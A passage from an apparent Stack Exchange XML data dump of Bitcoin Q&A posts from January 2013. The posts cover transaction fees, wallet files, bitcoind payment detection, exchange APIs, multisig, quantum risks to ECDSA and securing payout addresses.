have) they can probably make a guesstimate about the amount of their reserves will never be collected, and so they can spend at will.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not saying that mtgox is engaging in this (heck they probably make more money off of fees), but it would be so simple and totally invisible to anyone who cares.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Frational reserve banking is super easy and it just relies on a lack of transparency in addresses assigned to users with actual btc in them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Interestingly this can make it so there are in some ways more bitcoins in circulation than in existence, as trading with db bitcoins is basically equivalent to real ones.&lt;/p&gt;&#xA;" OwnerUserId="598" LastActivityDate="2013-01-12T15:17:43.793" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6119" PostTypeId="1" CreationDate="2013-01-12T21:33:41.177" Score="2" ViewCount="379" Body="&lt;p&gt;As far as I understand the more fees you pay, the faster the delivery. What I don't understand is fees are given to kilobytes of data, not amount of money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe here would come handy a little deeper basic understanding how bitcoin works behind the scenes, maybe I should &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/6107/bitcoin-step-by-step-kindle-edition-by-michael-caughey-worth-buying&quot;&gt;read this book&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know, but the bigger the money the bigger the block size? Or the newer the money the bigger the block size? Or a little bit of both? As the miner solve more and more complex calculation problems(?). And the older the bitcoin block, the cheaper the transfer, regardless how big the amount is?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider 2 cases:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1st, you want to optimize for lowest or zero fees: time is not an issue. In this case as I understand bitcoins are transferred in chunks to save on fees. Does it also increase you privacy as well? How much time it takes to transfer a quadrillion dollars (or a little less), and what is the absolute minimum fee for such a large transfer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2nd, you need instant delivery. I'm not sure about the fee structure (does it depend on the client or wallet you use?) but is it a fixed or variable % or a fixed amount per transaction? In the Qt client you can set an amount for fees but how do you calculate to spend the absolute minimum fees for an instant delivery? That would be just optimal, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As e-wallets use a share address, transferring funds in between bitcoin addresses of the same e-wallet should be free, and instantaneous, right? Instawallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I have the choice if I want to optimize for speed or costs (and maybe privacy?) with the various e-wallet providers? Let's say I want to spend instantaneously from an e-Wallet BTC 1 but I want to know beforehand how much I should transfer to that wallet in advance (slow transfer, zero fees) to include the appropriate (fast) fees.&lt;/p&gt;&#xA;" OwnerUserId="2567" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2013-04-13T19:04:22.060" Title="Optimizing fee payment for speed or zero fees/privacy? (Clients vs. e-wallets)" Tags="|client|protocol|transaction-fees|e-wallet|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6121" PostTypeId="2" ParentId="6107" CreationDate="2013-01-13T05:19:08.227" Score="1" Body="&lt;p&gt;I am skeptical of the book based on the beginning of the review on Amazon:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In the half hour it took me to read Caughey's e-book&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've been reading and studying Bitcoin for months and I think I still have a lot to learn. It's hard for me to imagine that much could come from reading a book for 30 minutes.&lt;/p&gt;&#xA;" OwnerUserId="667" LastActivityDate="2013-01-13T05:19:08.227" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6122" PostTypeId="2" ParentId="2656" CreationDate="2013-01-13T05:26:15.850" Score="0" Body="&lt;p&gt;Instead of e-mailing it to yourself, why not send it through a cloud service such as Dropbox or Google Drive which connects through SSL by default?&lt;/p&gt;&#xA;" OwnerUserId="2567" LastActivityDate="2013-01-13T05:26:15.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6123" PostTypeId="1" AcceptedAnswerId="6124" CreationDate="2013-01-13T05:50:42.777" Score="0" ViewCount="1604" Body="&lt;p&gt;It doesn't have to be called &quot;wallet.dat&quot;, right? That would be too obvious. Can you call it anything, with any extension?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin-Qt is just not so trivial to me to use since the trivial way would be to have an option &lt;em&gt;File&lt;/em&gt; -&gt; &lt;em&gt;Open wallet&lt;/em&gt; (at starting the program), then enter password if encrypted. &lt;a href=&quot;https://en.wikipedia.org/wiki/TrueCrypt&quot; rel=&quot;nofollow&quot;&gt;TrueCrypt&lt;/a&gt; for example is trivial in this way, you select any volume, type in a password, mount, and dismount images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't understand that either that you encrypt your &lt;em&gt;wallet.dat&lt;/em&gt; file, close the client, open the client and it doesn't ask for your password?&lt;/p&gt;&#xA;" OwnerUserId="2567" LastEditorUserId="1405" LastEditDate="2014-04-28T22:02:24.133" LastActivityDate="2014-04-28T22:02:24.133" Title="Bitcoin-Qt client: Easy way to using a wallet.dat not in its default location/when it asks for my password at all?" Tags="|wallet|bitcoin-core|passphrase|coldstorage|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6124" PostTypeId="2" ParentId="6123" CreationDate="2013-01-13T10:49:32.880" Score="3" Body="&lt;p&gt;Bitcoin-qt only asks for your password when you do an operation that requires it, such as sending coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, wallet.dat must be called that and reside in the Bitcoin data directory. It might be possible to use symlinks to work around that.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-01-13T10:49:32.880" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="6125" PostTypeId="2" ParentId="118" CreationDate="2013-01-13T11:35:11.020" Score="4" Body="&lt;p&gt;Yet another &lt;a href=&quot;http://blockchained.com/profit&quot; rel=&quot;nofollow&quot; title=&quot;bitcoin mining profitability calculator&quot;&gt;bitcoin mining profitability calculator&lt;/a&gt; - detailed and including a decline factor to compensate for mining hardware advancement (I am the author).&lt;/p&gt;&#xA;" OwnerUserId="257" LastActivityDate="2013-01-13T11:35:11.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6127" PostTypeId="2" ParentId="6119" CreationDate="2013-01-13T14:23:49.853" Score="2" Body="&lt;p&gt;The amount of bitcoins transferred is not the scarce resource you are paying for, disk space is. The distributed ledger that keeps track of the balance of each address is replicated on all participating nodes. That means that each KB more in your transaction is replicated thousands of times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the speed: all transactions are treated equal (except if they are deemed invalid as they in the case of a double-spend) so they are distributed over the network with the same speed. The fee comes into play once many transactions are available to be included in a block, i.e., they are still unconfirmed. As blocks have a maximum size (currently 1MB) there is a limited number of transactions that will be confirmed by a block. Miners will try to optimize their revenue from transaction fees of transactions that are included in the block, filling up with transactions that do not include fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding a fee to your transaction will increase the probability of it being included in a block, i.e., being confirmed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The transaction size is dependent mainly on the number of inputs that are claimed. As the number bitcoins from an output have no influence on its size the number of bitcoins transferred in a transaction does not influence the transaction size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for e-Wallet internal transactions: they are likely not handled by the Bitcoin network but internally, thus completely independent from the network rules.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-01-13T14:23:49.853" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6129" PostTypeId="1" AcceptedAnswerId="7135" CreationDate="2013-01-13T16:05:58.700" Score="-2" ViewCount="277" Body="&lt;p&gt;I'd love to know if there are.&lt;/p&gt;&#xA;" OwnerUserId="2623" LastActivityDate="2013-08-27T14:58:30.223" Title="Are there any canadian institutions backing bitcoin?" Tags="|buy-bitcoins|canada|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6130" PostTypeId="2" ParentId="4461" CreationDate="2013-01-13T18:55:17.187" Score="5" Body="&lt;ol&gt;&#xA;&lt;li&gt;Moving blkindex.dat to a let's say ram drive dramatically improves bitcoin/bitcoind performance. Just notice that currently index is around 1.5Gb size.&lt;/li&gt;&#xA;&lt;li&gt;Next version 0.8, as already been said, is using a new database instead of BDB and this works much faster and don't need to be moved to a ram drive or something.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2468" LastActivityDate="2013-01-13T18:55:17.187" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6132" PostTypeId="1" AcceptedAnswerId="7200" CreationDate="2013-01-14T02:14:51.240" Score="7" ViewCount="2247" Body="&lt;p&gt;I want to create a website which involves the creation of a new single-use address that a user would send bitcoins to. I'd like to know programmatically when the user has sent bitcoins to the address so the website can post a &quot;thank you&quot; note (or do whatever else). What is the best way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The flow would be:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Website creates and shows user a new single-use address and says, &quot;send bitcoins here&quot;&lt;/li&gt;&#xA;&lt;li&gt;User sends bitcoins to the address&lt;/li&gt;&#xA;&lt;li&gt;As soon as the address receives bitcoins, the website says &quot;thank you for sending 0.3 BTC!&quot;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I suppose I could poll the address in question every few minutes, but this is problematic because the user may abandon the website after step 1 (i.e., never send any bitcoins), so the website might end up polling forever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the official bitcoind client now, but I'm open to using something else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand Blockchain.info provides an API to get push notifications on a given address activity, but I'd rather not rely on a third-party service.&lt;/p&gt;&#xA;" OwnerUserId="2624" LastEditorUserId="120" LastEditDate="2013-01-14T08:38:46.243" LastActivityDate="2013-06-22T02:33:53.463" Title="How to know when a payment has been received by bitcoind?" Tags="|bitcoind|json-rpc|api|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6133" PostTypeId="1" AcceptedAnswerId="8789" CreationDate="2013-01-14T07:09:31.043" Score="3" ViewCount="762" Body="&lt;p&gt;I have been looking for some help building a platform using node that works with the MtGox api. It seems easy to make request, but I am confused about how to pass a parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now my code starts off like below. I can hit the server and get basic market data but I don't know how to do anything else....&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;request = require('request');&#xA;&#xA;APIResponder = require('../libraries/apiresponder');&#xA;&#xA;exports.market_data = function(req, res, next){&#xA;  request('https://mtgox.com/api/1/BTCUSD/ticker', function (err, response, body) {&#xA;    console.log(response);&#xA;    console.log(body);&#xA;    APIResponder.respond(res, response);&#xA;  });&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2312" LastEditorUserId="2306" LastEditDate="2013-03-28T02:05:38.850" LastActivityDate="2013-08-16T15:56:29.053" Title="Is there any useful documentation on using the MtGox API with node.js?" Tags="|mtgox|api|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7132" PostTypeId="2" ParentId="6132" CreationDate="2013-01-14T08:38:21.393" Score="3" Body="&lt;p&gt;You might want to do amortized polling: use &lt;code&gt;listtransactions&lt;/code&gt; to poll the latest transactions over all accounts. So instead of issuing one poll for every account you do it for all of them at the same time. This combined with a timeout to slow down polling if no payment will be received should work fine.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-01-14T08:38:21.393" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7133" PostTypeId="2" ParentId="6094" CreationDate="2013-01-14T16:45:23.287" Score="2" Body="&lt;p&gt;You should follow Gopoi's advice and use multisig. There are a few problems with your system. The first problem is how two people share their password. One of them could lie and get the whole password. Even if they share the right values, they need to agree to send a transaction which divides the funds. The user sending the transaction could cheat and send it all to his/her account. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, notice the security is much worse. I'm not sure what you mean by 1/3 of the security. If you refer to bits/digits this is right, but this is much less security. In your example, instead of trying all values from 0 to 999999999, any of the participants can guess the password with only 1000 attempts (they just need to fill three gaps). In Bitcoin, instead of a key with around 256 bits, you get about 86 bits of security. This seems decent enough for short times, but is much less secure. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With multisig the users will only sign a transaction they agree with. They know what they get, the key is as strong as in any other transaction and it is easier to scale to more than three users.   &lt;/p&gt;&#xA;" OwnerUserId="2281" LastActivityDate="2013-01-14T16:45:23.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7134" PostTypeId="2" ParentId="6062" CreationDate="2013-01-14T16:57:05.573" Score="42" Body="&lt;p&gt;You have a good discussion in:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=133425.0&quot;&gt;https://bitcointalk.org/index.php?topic=133425.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, ECDSA is compromised, hashing isn't. With a quantum computer, you could easily deduce the private key corresponding to a public key. If you only have an address, which is a hashed public key, the private key is safe. Anyway, to spend a transaction, you need to send the public key. At that point you are vulnerable, but the attack is not straightforward. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, quantum computers are not exponentially better than classical computers. You cannot access all the states in the superposition, only global properties. You can read &lt;a href=&quot;http://www.cs.virginia.edu/~robins/The_Limits_of_Quantum_Computers.pdf&quot;&gt;http://www.cs.virginia.edu/~robins/The_Limits_of_Quantum_Computers.pdf&lt;/a&gt; to get a good idea of what they can and cannot do.&lt;/p&gt;&#xA;" OwnerUserId="2281" LastActivityDate="2013-01-14T16:57:05.573" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7135" PostTypeId="2" ParentId="6129" CreationDate="2013-01-14T20:33:23.447" Score="3" Body="&lt;p&gt;Very short answer is simply no. Generally governments ignore bitcoin for now.&lt;/p&gt;&#xA;" OwnerUserId="2628" LastActivityDate="2013-01-14T20:33:23.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7136" PostTypeId="2" ParentId="6088" CreationDate="2013-01-14T23:52:10.513" Score="5" Body="&lt;p&gt;I think a more reliable way is to compare it to gold, since the exact value of currency in the world is very difficult to calculate. &lt;a href=&quot;http://en.wikipedia.org/wiki/Gold&quot; rel=&quot;noreferrer&quot;&gt;It's estimated that 171,300 tonnes of gold have been mined in human history, which is roughly equivalent to 5.5 billion troy ounces.&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;5.5 billion oz/21 million bitcoin = 261.9 oz/bitcoin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The value of &lt;a href=&quot;http://www.monex.com/pmr&quot; rel=&quot;noreferrer&quot;&gt;one ounce of gold is about $1,668&lt;/a&gt; so the value of bitcoins in current dollars would be about:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;261.9 oz/bitcoin * 1668 USD/oz = 436,849.20 USD/bitcoin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If bitcoin is lucky enough (and I hope it is) to be valued at 1% of the total gold supply, then each bitcoin would be around $4,368.49. This would make the entire bitcoin supply worth about $91 billion.&lt;/p&gt;&#xA;" OwnerUserId="1528" LastActivityDate="2013-01-14T23:52:10.513" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7137" PostTypeId="1" AcceptedAnswerId="7138" CreationDate="2013-01-15T01:33:24.377" Score="0" ViewCount="802" Body="&lt;p&gt;We have a online computer company written in PHP &lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.cworld.com.au &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A sister site we have uses Magento&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can we use BitPay to enable our site for BTC..Is there an API&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can we get paid for every tx etc ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will we have a mechant BTC address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are some of the reversal process's..will this be a seperate new transaction&lt;/p&gt;&#xA;" OwnerUserId="2464" LastEditorUserId="91660" LastEditDate="2019-01-26T01:53:50.740" LastActivityDate="2019-01-26T01:53:50.740" Title="How To Use BitPay" Tags="|transactions|exchanges|trading|bitpay|merchants|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7138" PostTypeId="2" ParentId="7137" CreationDate="2013-01-15T09:28:00.543" Score="1" Body="&lt;p&gt;BitPay provides a plugin for Magento, as well as &lt;a href=&quot;https://bitpay.com/help-cart-plugins&quot; rel=&quot;nofollow noreferrer&quot;&gt;a description on how to use their plugins&lt;/a&gt; (link requires login). One would need to setup a merchant account with the company, but it is easy and straightforward. One can specify &lt;a href=&quot;https://bitpay.com/accounting&quot; rel=&quot;nofollow noreferrer&quot;&gt;a Bitcoin address to withdraw the money with&lt;/a&gt; (login as above), or possibly use standard bank transfer options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When in doubt, you best consult someone directly about your setup. Bitcoin can be a tricky system where your money can evaporate quickly. &lt;a href=&quot;https://bitcoin.stackexchange.com/users/323/thepiachu&quot;&gt;I am available&lt;/a&gt; if you need some professional help.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2013-01-15T16:33:35.730" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7139" PostTypeId="2" ParentId="6094" CreationDate="2013-01-15T10:08:42.397" Score="2" Body="&lt;p&gt;Your proposed solution would now work without a third party knowing the complete key. It is impossible to derive a valid public key from three partial private keys in the way you described.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, it is possible to create n-out-of-n multisig addresses using &lt;a href=&quot;https://bitcointalk.org/index.php?topic=90587.0&quot; rel=&quot;nofollow&quot;&gt;split-key vanity addresses&lt;/a&gt;. However, this can have an issue with coins getting lost and one party being malicious and stealing all the coins once they get their hands on all N keys.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-01-15T10:08:42.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7141" PostTypeId="1" CreationDate="2013-01-15T19:38:46.367" Score="2" ViewCount="715" Body="&lt;p&gt;Is it possible to send funds from a bitcoin account via routing number to a trading account?&lt;/p&gt;&#xA;" OwnerUserId="2633" LastActivityDate="2013-01-15T20:17:42.203" Title="Sending funds via routing number from bank" Tags="|blockchain|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7142" PostTypeId="2" ParentId="7141" CreationDate="2013-01-15T20:17:42.203" Score="2" Body="&lt;p&gt;Not without an intermediary. Banks deal with traditional currencies like Euros or US Dollars, whereas Bitcoin is completely based on transactions involving bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only reason bitcoins have a value denominated in USD or Euros is that there are people willing to buy them for that value. Other than that bitcoins and traditional currencies are completely detached from each other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So either your bank accepts bitcoins and allows you to trade them or, more likely, you'll have to find someone who buys bitcoins and then you transfer the money you received in exchange to your bank account.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-01-15T20:17:42.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7144" PostTypeId="2" ParentId="4654" CreationDate="2013-01-16T11:39:25.213" Score="2" Body="&lt;p&gt;Buying coins non-anonymously in the UK:&#xA;Transferwise to Bitstamp's European account - £1 transfer fee, then &amp;lt;0.5% commission to buy. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Spending:&#xA;I guess you would use a mixer service&lt;/p&gt;&#xA;" OwnerUserId="2636" LastActivityDate="2013-01-16T11:39:25.213" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7146" PostTypeId="2" ParentId="4831" CreationDate="2013-01-16T13:30:23.403" Score="0" Body="&lt;p&gt;Mintchip is designed to allow offline digital transactions. This is achieved by &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Using public key infrastructure with a hierachy headed by trusted certifying authorities to provide offline assurance that a particular private key owns a particular amount of currency&lt;/li&gt;&#xA;&lt;li&gt;and tamper-proof hardware to assure that a particular private key cannot be extracted from the Mintchip and used to transfer the currency it controls without creating a record of the debit on the authentic/original Mintchip&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is designed to allow peer-to-peer online transactions without a central authority. This is achieved by&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Using proof of work and the economic incentive to provide the greatest amount of it to provide online assurance from untrusted nodes that a particular private key owns a particular amount of currency&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;They're similar in that they use public key cryptography to give a holder of currency exclusive authority to authenticate a transfer of their funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides the differences already listed, they also contrast in their government-backing. Mintchip, being government-backed, would likely see attempts to counterfeit Mintchip currency through extraction of the private key on the hardware prosecuted to the full extent of the law. &lt;/p&gt;&#xA;" OwnerUserId="7" LastEditorUserId="7" LastEditDate="2013-01-24T20:50:17.553" LastActivityDate="2013-01-24T20:50:17.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7147" PostTypeId="1" CreationDate="2013-01-16T14:41:17.293" Score="5" ViewCount="1340" Body="&lt;p&gt;I'm working on a service which will require me to store bitcoin payout addresses in my database. This means that a potential attack to my service would be to gain access to the database and replace the addresses in the database with the attacker's bitcoin address so that payouts can be automatically sent to him/her.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My users will be have multiple social accounts linked to my service (Facebook, Google, LinkedIn, etc.) and they will log in with a password (which is stored as a hash). The database I'm using is MySQL, so I'm wondering if I can put any restrictions on the bitcoin address column which would require some type of validation of the bitcoin address in order to ensure that somebody hasn't just gone into the DB and put in a bitcoin address of their own. Maybe I can include some kind of a hash which validates the address with the user somehow and allows me to check the address and the hash before a payout is sent, if they match then I can send a payout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any other approaches to securing the address?&lt;/p&gt;&#xA;" OwnerUserId="1528" LastActivityDate="2013-01-22T19:53:44.143" Title="Securing bitcoin addresses in database" Tags="|security|services|database|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7148" PostTypeId="1" CreationDate="2013-01-16T15:32:54.653" Score="-2" ViewCount="292" Body="&lt;p&gt;Do you foresee people one day people trading  securities,bonds,stocks or currencies with bitcoins.I would like to buy a share lets say from Microsoft with bitcoins and have the value of it remain in  bitcoins instead of normal currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will that be feasible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any sites or tor sites that offer such a platform.If so could you provide me with the such link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2638" LastEditorUserId="1761" LastEditDate="2013-01-17T06:09:49.020" LastActivityDate="2013-01-23T19:36:59.707" Title="Will it be possible to buy shares online using bitcoins in a financial market?" Tags="|funds|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7149" PostTypeId="1" AcceptedAnswerId="7152" CreationDate="2013-01-16T18:39:25.400" Score="2" ViewCount="299" Body="&lt;p&gt;I am writing an web application using Python/Flask. I am using&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://laanwj.github.com/bitcoin-python/doc/&quot; rel=&quot;nofollow&quot;&gt;http://laanwj.github.com/bitcoin-python/doc/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to connect to my bitcoind 0.7.2 server as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;conn = bitcoinrpc.connect_to_local()&#xA;accounts = conn.listaccounts(0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is all working well. However, when I attempt to use some of the newer raw transaction calls, I get an error. For example,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;raw_transaction = conn.getrawtransaction(txid)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;results in the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AttributeError: 'BitcoinConnection' object has no attribute 'getrawtransaction'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems (though I am not sure) that the methods that don't work for me are those that are listed here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Raw_Transactions&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Raw_Transactions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to anyone who can help on this.&lt;/p&gt;&#xA;" OwnerUserId="2624" LastActivityDate="2013-01-16T20:51:46.443" Title="Why does bitcoind (0.7.2) give an error when trying to issue getrawtransaction over RPC?" Tags="|bitcoind|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7150" PostTypeId="2" ParentId="7147" CreationDate="2013-01-16T19:24:03.127" Score="0" Body="&lt;p&gt;Does the payout have to be automatic, or can it be user-triggered?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the latter case, you can choose not to store the payout address at all, instead prompting the user for it every time he decides to receive it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course if you get hacked, you failed no matter which procedure you choose, so this is kind of a moot point.&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2013-01-16T19:24:03.127" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7152" PostTypeId="2" ParentId="7149" CreationDate="2013-01-16T19:38:53.300" Score="2" Body="&lt;p&gt;That particular API client library does not yet implement all calls that are exposed by &lt;code&gt;bitcoind&lt;/code&gt;. See the &lt;a href=&quot;http://laanwj.github.com/bitcoin-python/doc/bitcoinrpc.connection.html&quot; rel=&quot;nofollow&quot;&gt;API documentation&lt;/a&gt; for a list of calls that are implemented.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that your Bitcoin client knows about &lt;code&gt;getrawtransaction&lt;/code&gt; but the python library you're using to connect to it does not know what to do with it yet.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-01-16T19:38:53.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7153" PostTypeId="2" ParentId="7149" CreationDate="2013-01-16T20:51:46.443" Score="1" Body="&lt;p&gt;While cdecker technically answers the question posed, I found that the best solution around the problem is to use the following package to connect with &lt;code&gt;bitcoind&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/jgarzik/python-bitcoinrpc&quot; rel=&quot;nofollow&quot;&gt;https://github.com/jgarzik/python-bitcoinrpc&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2624" LastActivityDate="2013-01-16T20:51:46.443" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7154" PostTypeId="2" ParentId="7147" CreationDate="2013-01-16T23:02:20.033" Score="1" Body="&lt;p&gt;I've spoken with a DB at work and here are the suggested ideas:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Save a hash of each bitcoin address which is hashed with a password (the password should not be accessible through the database).&lt;/li&gt;&#xA;&lt;li&gt;Make triggers on the database column: whenever the record is changed, the trigger would execute and the changes will be recorded in a change log table.&lt;/li&gt;&#xA;&lt;li&gt;Whenever the user makes changes to their personal information we would send them an e-mail and log the change into the change log table.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The benefits of the above logs is that we will have multiple places where we can track changes and if there is some type of a discrepancy, we can track it appropriately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way it's going to work when a payment needs to be made:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use the password to hash the bitcoin address on file and compare it against the corresponding bitcoin address hash.&lt;/li&gt;&#xA;&lt;li&gt;If the addresses match, then we can make a payment to the address. Otherwise, an alert will be triggered.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I still see another weakness here: if we use the same password to hash every bitcoin address, then it may become easier to crack the password if somebody takes a bunch of the hashed bitocin addresses from the database. However, this is still a much better solution than not doing anything to verify the bitcoin addresses.&lt;/p&gt;&#xA;" OwnerUserId="1528" LastActivityDate="2013-01-16T23:02:20.033" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
